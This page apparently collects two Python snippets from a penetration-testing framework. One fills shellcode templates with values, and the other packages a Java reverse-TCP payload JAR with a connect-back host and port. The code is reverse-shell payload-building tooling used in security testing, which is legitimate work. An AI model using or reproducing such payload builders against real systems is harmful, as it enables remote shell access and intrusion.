Пример #1
0
    def read_and_replace(path, values, use_precompiled):
        def to_hex(data):
            return b''.join(b'\\x%02x' % x for x in data)

        shell = read_binary(path)
        for key, value in values.items():
            if use_precompiled:
                value = to_hex(value)
            shell = shell.replace(key.encode(), value)
        if use_precompiled:
            shell = bytes.fromhex(shell.replace(b'\\x', b'').decode())
        return shell
Пример #2
0
 def get_jar(self, filename=""):
     filepath = os.path.join(paths.POCSUITE_TMP_PATH, "payload.jar")
     jar = Jar(filepath)
     data = "{host};{port}".format(host=self.connect_back_ip,
                                   port=self.connect_back_port)
     jar.add_file('east/data.dat', data)
     path = os.path.join(paths.POCSUITE_ROOT_PATH,
                         'shellcodes/data/java/reverse_tcp/Payload.class')
     jar.add_file('east/Payload.class', read_binary(path))
     if self.make_jar:
         self.path_to_jar = filepath
     remove_jar = not self.make_jar
     return jar.get_raw(remove_jar)